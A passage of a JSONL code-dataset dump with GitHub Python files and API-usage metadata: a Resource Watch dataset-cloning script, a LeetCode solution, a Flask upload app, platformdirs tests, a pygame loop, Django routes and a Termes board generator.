"call"}, {"api_name": "copy.deepcopy", "line_number": 945, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 958, "usage_type": "name"}, {"api_name": "numpy.min", "line_number": 959, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 959, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.sfrFromParticles", "line_number": 975, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 975, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.sfhFromParticles", "line_number": 976, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 976, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.snr", "line_number": 977, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 977, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.snr", "line_number": 978, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 978, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.snr", "line_number": 979, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 979, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.sfrFromParticles", "line_number": 988, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 988, "usage_type": "name"}, {"api_name": "yt.units", "line_number": 988, "usage_type": "attribute"}, {"api_name": "galaxy_analysis.particle_analysis.sfhFromParticles", "line_number": 989, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 989, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.snr", "line_number": 990, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 990, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.snr", "line_number": 991, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 991, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.sfrFromParticles", "line_number": 1000, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 1000, "usage_type": "name"}, {"api_name": "yt.units", "line_number": 1000, "usage_type": "attribute"}, {"api_name": "galaxy_analysis.particle_analysis.sfhFromParticles", "line_number": 1001, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 1001, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.snr", "line_number": 1002, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 1002, "usage_type": "name"}, {"api_name": "galaxy_analysis.particle_analysis.snr", "line_number": 1003, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis", "line_number": 1003, "usage_type": "name"}, {"api_name": "numpy.interp", "line_number": 1026, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 1026, "usage_type": "name"}, {"api_name": "yt.units", "line_number": 1027, "usage_type": "attribute"}, {"api_name": "galaxy_analysis.utilities.utilities.nested_haskey", "line_number": 1059, "usage_type": "call"}, {"api_name": "galaxy_analysis.utilities.utilities", "line_number": 1059, "usage_type": "name"}, {"api_name": "numpy.cumsum", "line_number": 1071, "usage_type": "call"}, {"api_name": "numpy.interp", "line_number": 1080, "usage_type": "call"}, {"api_name": "scipy.optimize.brentq", "line_number": 1082, "usage_type": "call"}, {"api_name": "scipy.optimize", "line_number": 1082, "usage_type": "name"}, {"api_name": "collections.Iterable", "line_number": 1141, "usage_type": "argument"}, {"api_name": "numpy.abs", "line_number": 1155, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis.particle_types", "line_number": 1159, "usage_type": "name"}, {"api_name": "numpy.size", "line_number": 1160, "usage_type": "call"}, {"api_name": "galaxy_analysis.particle_analysis.particle_types", "line_number": 1162, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 1166, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 1166, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1169, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 1169, "usage_type": "call"}, {"api_name": "galaxy_analysis.static_data.UNITS", "line_number": 1175, "usage_type": "name"}, {"api_name": "galaxy_analysis.static_data.FIELD_UNITS", "line_number": 1176, "usage_type": "name"}, {"api_name": "numpy.sum", "line_number": 1179, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 1181, "usage_type": "call"}, {"api_name": "numpy.average", "line_number": 1184, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1273, "usage_type": "call"}, {"api_name": "yt.units", "line_number": 1274, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1275, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1277, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1278, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 1281, "usage_type": "call"}, {"api_name": "yt.units", "line_number": 1282, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1283, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1285, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1286, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1290, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1291, "usage_type": "attribute"}, {"api_name": "numpy.array", "line_number": 1294, "usage_type": "call"}, {"api_name": "yt.units", "line_number": 1295, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1296, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1298, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1299, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1302, "usage_type": "attribute"}, {"api_name": "yt.units", "line_number": 1303, "usage_type": "attribute"}, {"api_name": "numpy.max", "line_number": 1384, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1387, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 1420, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1427, "usage_type": "call"}, {"api_name": "numpy.size", "line_number": 1427, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1456, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1465, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1476, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1485, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1494, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1504, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1513, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 1523, "usage_type": "call"}]} {"seq_id": "8685054258", "text": "import pandas as pd\n#import json\nimport datetime\n# this piece of code will add the mode artiact had model history into a data frame \ntry:\n print(\"no error\")\nexcept exception as err:\n print(err)\n print(\"Error appear in the code\")\n\n\nclass ModelVersioning:\n def __init__(self, trained_model):\n self.trained_model = trained_model\n #self.model_name = model_name\n\n def Model_HyperParameters(self):\n df_param = pd.DataFrame([self.trained_model.get_params()]).T.reset_index().rename(\n columns={'index': 'Hyper_Parameter_name', 0: 'Hyper_Parameter_value'})\n return df_param\n# add comment lines to change in the code \n# this will add the model artifacts into the model hyper parameters \n def Model_Artifacts(self):\n df_params = self.Model_HyperParameters()\n df_params['run_time'] = datetime.datetime.now()\n df_params['model_name'] = \"ML Model\"\n df_params['model_type'] = \"Classification\"\n return df_params\n\n\n\n\n\n\n\n\n\n", "repo_name": "MahendraKIITian/demo", "sub_path": "model_history.py", "file_name": "model_history.py", "file_ext": "py", "file_size_in_byte": 1003, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pandas.DataFrame", "line_number": 18, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 25, "usage_type": "attribute"}]} {"seq_id": "28682226333", "text": "import requests\nimport json\nimport LMIPy\nimport os\n\n# user input needed\n# enter the location of the json file containing your minimal dataset info json (no layers)\ndataset_json_data_loc = '' # ex: /home/data/aqueduct_rw_api_2021-02-19/aq_floods_minimal_2021-02-19.json\n# enter the location of the folder containing your layer json files\nlayer_json_data_loc = '' # ex: /home/data/aqueduct_rw_api_2021-02-19/layers\n\n# read in the minimal dataset json\ndataset_f = open(dataset_json_data_loc)\ndataset_json = json.load(dataset_f)\n# get list of json files for all the layers\nlayer_files = os.listdir(layer_json_data_loc)\n\n# import your API token\nAPI_TOKEN = os.getenv('RW_API_KEY')\n\n\ndef create_headers():\n return {\n 'content-type': \"application/json\",\n 'authorization': \"{}\".format(os.getenv('apiToken')),\n }\n\ndef clone_ds_ly_from_json(dataset_json, layer_files, token=None, dataset_pub = False, layer_pub = True):\n \"\"\"\n Create a clone of a target Dataset as a new staging or prod Dataset.\n INPUT dataset_json: minimal json of dataset info (dictionary)\n layer_files: list of layer json files (list of strings)\n token: RW API token (string)\n dataset_pub: should the dataset be published when it is created (boolean)\n layer_pub: should the layers be published when it is created (boolean)\n \"\"\"\n clone_server = 'https://api.resourcewatch.org'\n if not token:\n raise ValueError(f'[token] Resource Watch API token required to clone.')\n else:\n ### update dataset\n dataset_json.pop(\"id\", None)\n dataset_json['attributes']['published'] = dataset_pub\n dataset_fields_to_drop = [\"createdAt\", \"updatedAt\", \"userId\"]\n\n for field in dataset_fields_to_drop:\n dataset_json['attributes'].pop(field, None)\n\n ### clone dataset\n url = f'{clone_server}/dataset'\n headers = create_headers()\n payload = {\n 'dataset': {**dataset_json['attributes']\n }}\n display(json.dumps(payload))\n r = requests.post(url, data=json.dumps(payload), headers=headers)\n if r.status_code == 200:\n clone_dataset_id = r.json()['data']['id']\n clone_dataset = LMIPy.Dataset(id_hash=clone_dataset_id, server=clone_server)\n print('Dataset created:')\n print(r.json()['data']['id'])\n else:\n print(r.status_code)\n \n ### clone layers\n layer_fields_to_drop = [\"createdAt\", \"updatedAt\", \"userId\", \"dataset\"]\n \n for i in range(len(layer_files)):\n layer_f = open(os.path.join(layer_json_data_loc, layer_files[i]))\n layer_json = json.load(layer_f)\n layer_json.pop(\"id\", None)\n layer_json['attributes']['published'] = layer_pub\n for field in layer_fields_to_drop:\n layer_json['attributes'].pop(field, None)\n url = f'{clone_server}/dataset/{clone_dataset_id}/layer'\n print(url)\n payload = {\n 'layer': {**layer_json['attributes']\n }}\n r = requests.post(url, data=json.dumps(payload), headers=headers)\n if r.status_code == 200:\n clone_layer_id = r.json()['data']['id']\n clone_layer = LMIPy.Layer(id_hash=clone_layer_id, server=clone_server)\n print('Layer created:')\n print(r.json()['data']['id'])\n else:\n print(r.status_code)\n\nclone_ds_ly_from_json(dataset_json, layer_files, token=API_TOKEN, dataset_pub=True, layer_pub=True)\n\n\n\n# if you accidentally make a dataset incorrectly, you can delete it by \n# entering the dataset id below and running the code that follows\ndataset_id = ''\nr = requests.delete(f'https://api.resourcewatch.org/dataset/{dataset_id}',\n headers=create_headers())\nif r.status_code==200:\n print(f'Dataset {id} has been deleted.')", "repo_name": "resource-watch/data-team-tools", "sub_path": "restore_dataset/restore_dataset_from_json.py", "file_name": "restore_dataset_from_json.py", "file_ext": "py", "file_size_in_byte": 3940, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.load", "line_number": 14, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 16, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 19, "usage_type": "call"}, {"api_name": "os.getenv", "line_number": 25, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 55, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 56, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 56, "usage_type": "call"}, {"api_name": "LMIPy.Dataset", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 69, "usage_type": "call"}, {"api_name": "os.path", "line_number": 69, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 70, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 80, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 80, "usage_type": "call"}, {"api_name": "LMIPy.Layer", "line_number": 83, "usage_type": "call"}, {"api_name": "requests.delete", "line_number": 96, "usage_type": "call"}]} {"seq_id": "16127243230", "text": "\"\"\"\nhttps://leetcode.com/problems/flower-planting-with-no-adjacent/\n1042. Flower Planting With No Adjacent\nEasy\n-----------------------\nYou have N gardens, labelled 1 to N. In each garden, you want to plant one of 4 types of flowers.\npaths[i] = [x, y] describes the existence of a bidirectional path from garden x to garden y.\nAlso, there is no garden that has more than 3 paths coming into or leaving it.\nYour task is to choose a flower type for each garden such that, for any two gardens connected by a path,\nthey have different types of flowers.\nReturn any such a choice as an array answer, where answer[i] is the type of flower planted in the (i+1)-th garden.\nThe flower types are denoted 1, 2, 3, or 4. It is guaranteed an answer exists.\n\nExample 1:\nInput: N = 3, paths = [[1,2],[2,3],[3,1]]\nOutput: [1,2,3]\n\nExample 2:\nInput: N = 4, paths = [[1,2],[3,4]]\nOutput: [1,2,1,2]\n\nExample 3:\nInput: N = 4, paths = [[1,2],[2,3],[3,4],[4,1],[1,3],[2,4]]\nOutput: [1,2,3,4]\n\nNote:\n1 <= N <= 10000\n0 <= paths.size <= 20000\nNo garden has 4 or more paths coming into or leaving it.\nIt is guaranteed an answer exists.\n\"\"\"\nimport collections\n\n\nclass Solution:\n def gardenNoAdj(self, N, paths):\n return self.gardenNoAdj_1(N, paths)\n\n def gardenNoAdj_1(self, N, paths):\n \"\"\"\n 采用adjacent list保存图数据\n 1.从1~N依次遍历每个garden的adjacent list\n 2.对于garden i,先排除相邻节点已经种植的flower type,然后选择未被排除最小的type为i的flower type\n -------------\n 验证通过,性能不错\n Runtime: 448 ms, faster than 91.40% of Python3 online submissions for Flower Planting With No Adjacent.\n Memory Usage: 19.4 MB, less than 100.00% of Python3 online submissions for Flower Planting With No Adjacent.\n :param N:\n :param paths:\n :return:\n \"\"\"\n if not N or N <= 0:\n return []\n\n ret = [0 for i in range(N + 1)]\n adjacent_list = collections.defaultdict(list)\n for p in paths:\n adjacent_list[p[0]].append(p[1])\n adjacent_list[p[1]].append(p[0])\n\n for i in range(1, N + 1):\n neighbors = adjacent_list[i]\n if neighbors:\n types = [0, 1, 2, 3, 4]\n for n in neighbors:\n if ret[n] > 0:\n types[ret[n]] = -1\n for t in types:\n if t > 0:\n ret[i] = t\n break\n else:\n ret[i] = 1\n\n return ret[1:]\n\n\ndef main():\n N = 3\n paths = [[1, 2], [2, 3], [3, 1]]\n ret = Solution().gardenNoAdj(N, paths)\n print(ret)\n print(ret == [1, 2, 3])\n print(\"--------------------\")\n\n N = 4\n paths = [[1, 2], [3, 4]]\n ret = Solution().gardenNoAdj(N, paths)\n print(ret)\n print(ret == [1, 2, 1, 2])\n print(\"--------------------\")\n\n N = 4\n paths = [[1, 2], [2, 3], [3, 4], [4, 1], [1, 3], [2, 4]]\n ret = Solution().gardenNoAdj(N, paths)\n print(ret)\n print(ret == [1, 2, 3, 4])\n print(\"--------------------\")\n\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "liuyanhui/leetcode-py", "sub_path": "leetcode/1042_flower_planting_with_no_adjacent/flower_planting_with_no_adjacent.py", "file_name": "flower_planting_with_no_adjacent.py", "file_ext": "py", "file_size_in_byte": 3158, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "collections.defaultdict", "line_number": 56, "usage_type": "call"}]} {"seq_id": "34869487356", "text": "from flask import Flask, render_template, request\nfrom flask_uploads import UploadSet, configure_uploads, IMAGES\nfrom flask_sqlalchemy import SQLAlchemy\n\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///test.db'\ndb = SQLAlchemy(app)\n\n\n\nclass User(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n username = db.Column(db.String(80), unique=False, nullable=False)\n email = db.Column(db.String(120), unique=False, nullable=False)\n pic_name = db.Column(db.String(120), unique=True, nullable=False)\n\n\nphotos = UploadSet('photos', IMAGES)\n\napp.config['UPLOADED_PHOTOS_DEST'] = 'static/img'\nconfigure_uploads(app, photos)\n\n@app.route('/upload', methods=['GET', 'POST'])\ndef upload():\n if request.method == 'POST' and 'photo' in request.files:\n filename = photos.save(request.files['photo'])\n upload = User(username='username',email='example@domain.com',pic_name='static/img/'+filename)\n db.session.add(upload)\n db.session.commit()\n print(filename)\n return render_template('upload.html')\n\n\nif __name__ == '__main__':\n\tapp.run(debug=True)", "repo_name": "NareshAtnPLUS/flask-image-upload", "sub_path": "upload.py", "file_name": "upload.py", "file_ext": "py", "file_size_in_byte": 1116, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "flask.Flask", "line_number": 6, "usage_type": "call"}, {"api_name": "flask_sqlalchemy.SQLAlchemy", "line_number": 8, "usage_type": "call"}, {"api_name": "flask_uploads.UploadSet", "line_number": 19, "usage_type": "call"}, {"api_name": "flask_uploads.IMAGES", "line_number": 19, "usage_type": "argument"}, {"api_name": "flask_uploads.configure_uploads", "line_number": 22, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 26, "usage_type": "name"}, {"api_name": "flask.request.files", "line_number": 26, "usage_type": "attribute"}, {"api_name": "flask.request.files", "line_number": 27, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 27, "usage_type": "name"}, {"api_name": "flask.render_template", "line_number": 32, "usage_type": "call"}]} {"seq_id": "7794763880", "text": "from __future__ import annotations\n\nimport importlib\nimport os\nimport sys\nimport typing\n\nimport pytest\nfrom _pytest.monkeypatch import MonkeyPatch\nfrom pytest_mock import MockerFixture\n\nfrom platformdirs.unix import Unix\n\n\ndef test_user_documents_dir(mocker: MockerFixture) -> None:\n example_path = \"/home/example/ExampleDocumentsFolder\"\n mock = mocker.patch(\"platformdirs.unix._get_user_dirs_folder\")\n mock.return_value = example_path\n assert Unix().user_documents_dir == example_path\n\n\ndef test_user_documents_dir_env_var(mocker: MockerFixture) -> None:\n # Mock documents dir not being in user-dirs.dirs file\n mock = mocker.patch(\"platformdirs.unix._get_user_dirs_folder\")\n mock.return_value = None\n\n example_path = \"/home/example/ExampleDocumentsFolder\"\n mocker.patch.dict(os.environ, {\"XDG_DOCUMENTS_DIR\": example_path})\n\n assert Unix().user_documents_dir == example_path\n\n\ndef test_user_documents_dir_default(mocker: MockerFixture) -> None:\n # Mock documents dir not being in user-dirs.dirs file\n mock = mocker.patch(\"platformdirs.unix._get_user_dirs_folder\")\n mock.return_value = None\n\n # Mock no XDG_DOCUMENTS_DIR env variable being set\n mocker.patch.dict(os.environ, {\"XDG_DOCUMENTS_DIR\": \"\"})\n\n # Mock home directory\n mocker.patch.dict(os.environ, {\"HOME\": \"/home/example\"})\n # Mock home directory for running the test on Windows\n mocker.patch.dict(os.environ, {\"USERPROFILE\": \"/home/example\"})\n\n assert Unix().user_documents_dir == \"/home/example/Documents\"\n\n\nclass XDGVariable(typing.NamedTuple):\n name: str\n default_value: str\n\n\ndef _func_to_path(func: str) -> XDGVariable | None:\n mapping = {\n \"user_data_dir\": XDGVariable(\"XDG_DATA_HOME\", \"~/.local/share\"),\n \"site_data_dir\": XDGVariable(\"XDG_DATA_DIRS\", f\"/usr/local/share{os.pathsep}/usr/share\"),\n \"user_config_dir\": XDGVariable(\"XDG_CONFIG_HOME\", \"~/.config\"),\n \"site_config_dir\": XDGVariable(\"XDG_CONFIG_DIRS\", \"/etc/xdg\"),\n \"user_cache_dir\": XDGVariable(\"XDG_CACHE_HOME\", \"~/.cache\"),\n \"user_state_dir\": XDGVariable(\"XDG_STATE_HOME\", \"~/.local/state\"),\n \"user_log_dir\": XDGVariable(\"XDG_CACHE_HOME\", \"~/.cache\"),\n \"user_runtime_dir\": XDGVariable(\"XDG_RUNTIME_DIR\", \"/run/user/1234\"),\n }\n return mapping.get(func)\n\n\n@pytest.fixture()\ndef dirs_instance() -> Unix:\n return Unix(multipath=True, opinion=False)\n\n\n@pytest.fixture()\ndef _getuid(mocker: MockerFixture) -> None:\n mocker.patch(\"platformdirs.unix.getuid\", return_value=1234)\n\n\n@pytest.mark.usefixtures(\"_getuid\")\ndef test_xdg_variable_not_set(monkeypatch: MonkeyPatch, dirs_instance: Unix, func: str) -> None:\n xdg_variable = _func_to_path(func)\n if xdg_variable is None:\n return\n\n monkeypatch.delenv(xdg_variable.name, raising=False)\n result = getattr(dirs_instance, func)\n assert result == os.path.expanduser(xdg_variable.default_value)\n\n\n@pytest.mark.usefixtures(\"_getuid\")\ndef test_xdg_variable_empty_value(monkeypatch: MonkeyPatch, dirs_instance: Unix, func: str) -> None:\n xdg_variable = _func_to_path(func)\n if xdg_variable is None:\n return\n\n monkeypatch.setenv(xdg_variable.name, \"\")\n result = getattr(dirs_instance, func)\n assert result == os.path.expanduser(xdg_variable.default_value)\n\n\n@pytest.mark.usefixtures(\"_getuid\")\ndef test_xdg_variable_custom_value(monkeypatch: MonkeyPatch, dirs_instance: Unix, func: str) -> None:\n xdg_variable = _func_to_path(func)\n if xdg_variable is None:\n return\n\n monkeypatch.setenv(xdg_variable.name, \"/tmp/custom-dir\")\n result = getattr(dirs_instance, func)\n assert result == \"/tmp/custom-dir\"\n\n\ndef test_platform_non_linux(monkeypatch: MonkeyPatch) -> None:\n from platformdirs import unix\n\n try:\n with monkeypatch.context() as context:\n context.setattr(sys, \"platform\", \"magic\")\n monkeypatch.delenv(\"XDG_RUNTIME_DIR\", raising=False)\n importlib.reload(unix)\n with pytest.raises(RuntimeError, match=\"should only be used on Linux\"):\n unix.Unix().user_runtime_dir\n finally:\n importlib.reload(unix)\n", "repo_name": "0xallie/platformdirs", "sub_path": "tests/test_unix.py", "file_name": "test_unix.py", "file_ext": "py", "file_size_in_byte": 4143, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "github-code", "pt": "71", "api": [{"api_name": "pytest_mock.MockerFixture", "line_number": 15, "usage_type": "name"}, {"api_name": "platformdirs.unix.Unix", "line_number": 19, "usage_type": "call"}, {"api_name": "pytest_mock.MockerFixture", "line_number": 22, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 28, "usage_type": "attribute"}, {"api_name": "platformdirs.unix.Unix", "line_number": 30, "usage_type": "call"}, {"api_name": "pytest_mock.MockerFixture", "line_number": 33, "usage_type": "name"}, {"api_name": "os.environ", "line_number": 39, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 42, "usage_type": "attribute"}, {"api_name": "os.environ", "line_number": 44, "usage_type": "attribute"}, {"api_name": "platformdirs.unix.Unix", "line_number": 46, "usage_type": "call"}, {"api_name": "typing.NamedTuple", "line_number": 49, "usage_type": "attribute"}, {"api_name": "os.pathsep", "line_number": 57, "usage_type": "attribute"}, {"api_name": "platformdirs.unix.Unix", "line_number": 70, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 68, "usage_type": "call"}, {"api_name": "platformdirs.unix.Unix", "line_number": 69, "usage_type": "name"}, {"api_name": "pytest_mock.MockerFixture", "line_number": 74, "usage_type": "name"}, {"api_name": "pytest.fixture", "line_number": 73, "usage_type": "call"}, {"api_name": "_pytest.monkeypatch.MonkeyPatch", "line_number": 79, "usage_type": "name"}, {"api_name": "platformdirs.unix.Unix", "line_number": 79, "usage_type": "name"}, {"api_name": "os.path.expanduser", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "pytest.mark.usefixtures", "line_number": 78, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 78, "usage_type": "attribute"}, {"api_name": "_pytest.monkeypatch.MonkeyPatch", "line_number": 90, "usage_type": "name"}, {"api_name": "platformdirs.unix.Unix", "line_number": 90, "usage_type": "name"}, {"api_name": "os.path.expanduser", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "pytest.mark.usefixtures", "line_number": 89, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 89, "usage_type": "attribute"}, {"api_name": "_pytest.monkeypatch.MonkeyPatch", "line_number": 101, "usage_type": "name"}, {"api_name": "platformdirs.unix.Unix", "line_number": 101, "usage_type": "name"}, {"api_name": "pytest.mark.usefixtures", "line_number": 100, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 100, "usage_type": "attribute"}, {"api_name": "_pytest.monkeypatch.MonkeyPatch", "line_number": 111, "usage_type": "name"}, {"api_name": "importlib.reload", "line_number": 118, "usage_type": "call"}, {"api_name": "platformdirs.unix", "line_number": 118, "usage_type": "argument"}, {"api_name": "pytest.raises", "line_number": 119, "usage_type": "call"}, {"api_name": "platformdirs.unix.Unix", "line_number": 120, "usage_type": "call"}, {"api_name": "platformdirs.unix", "line_number": 120, "usage_type": "name"}, {"api_name": "importlib.reload", "line_number": 122, "usage_type": "call"}, {"api_name": "platformdirs.unix", "line_number": 122, "usage_type": "argument"}]} {"seq_id": "37573902973", "text": "import pygame, sys\nfrom settings import *\nfrom level import Level\nimport colores\nimport constantes\n\n#Iniciamos el juego\npygame.init()\n#tamaño da ventana\nscreen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\nclock = pygame.time.Clock()\nlevel = Level(level_map, screen)\n\n#Bucle principal del juego\nwhile True:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n sys.exit()\n screen.fill(colores.blanco)\n level.run()\n\n pygame.display.update()\n clock.tick(constantes.FPS)\n\n", "repo_name": "a21pablogo/pythonProject2", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 520, "program_lang": "python", "lang": "es", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "pygame.init", "line_number": 8, "usage_type": "call"}, {"api_name": "pygame.display.set_mode", "line_number": 10, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 10, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 11, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 11, "usage_type": "attribute"}, {"api_name": "level.Level", "line_number": 12, "usage_type": "call"}, {"api_name": "pygame.event.get", "line_number": 16, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 16, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 17, "usage_type": "attribute"}, {"api_name": "pygame.quit", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 19, "usage_type": "call"}, {"api_name": "colores.blanco", "line_number": 20, "usage_type": "attribute"}, {"api_name": "level.run", "line_number": 21, "usage_type": "call"}, {"api_name": "pygame.display.update", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 23, "usage_type": "attribute"}, {"api_name": "constantes.FPS", "line_number": 24, "usage_type": "attribute"}]} {"seq_id": "17793950997", "text": "from django.urls import path\n\nfrom . import views\n\nurlpatterns = [\n path('create_report/', views.create_report),\n path('reports/', views.ReportListView.as_view(), name='reports'),\n path('report/', views.ReportDetailView.as_view(), name='report'),\n path('report//edit', views.update_report_metrics, name='update_metric'),\n path('report/upload/', views.ExcelUploadView.as_view(), name='file_download'),\n path('report/search/', views.ReportSearchView.as_view(), name='search'),\n path('report/me', views.my_reports, name='my_reports')\n]\n", "repo_name": "S3raphimCS/Hackathon_telehack", "sub_path": "backend/SPO_KROT/metrics/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 563, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "71", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 10, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 11, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 12, "usage_type": "call"}]} {"seq_id": "14356835871", "text": "#!/usr/bin/env python3\n\nimport os\nimport numpy\nimport argparse\n\nhere = os.path.dirname(os.path.realpath(__file__))\n\ndef gen_board(size_x, size_y, height, num_towers, seed):\n numpy.random.seed(seed)\n\n board = [[0 for x in range(size_x)] for y in range(size_y)]\n\n cells = [(x, y) for x in range(size_x) for y in range(size_y)]\n\n first = True\n for i in numpy.random.choice (range(len(cells)), num_towers, replace=False):\n (x, y) = cells[i]\n col_height = height if first else numpy.random.choice(range(2, height + 1))\n first = False\n board[y][x] = col_height\n\n board_name = 'random_towers_{}x{}_{}_{}_{}.txt'.format(size_x, size_y, height, num_towers, seed)\n f = open(os.path.join(here, 'boards', board_name), 'w')\n for row in board:\n f.write(\" \".join(map(str, row)) + '\\n')\n f.close()\n\n return board_name\n\n\ndef main():\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--size_x\", type=int, default=4)\n parser.add_argument(\"--size_y\", type=int, default=4)\n parser.add_argument(\"--height\", type=int, default=4)\n parser.add_argument(\"--num_towers\", type=int, default=4)\n parser.add_argument(\"--seed\", type=int, default=0)\n\n args = parser.parse_args()\n\n gen_board(args.size_x, args.size_y, args.height, args.num_towers, args.seed)\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "fickert/fast-downward-nancy", "sub_path": "training/generators/termes/gen_random_tower_boards.py", "file_name": "gen_random_tower_boards.py", "file_ext": "py", "file_size_in_byte": 1361, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 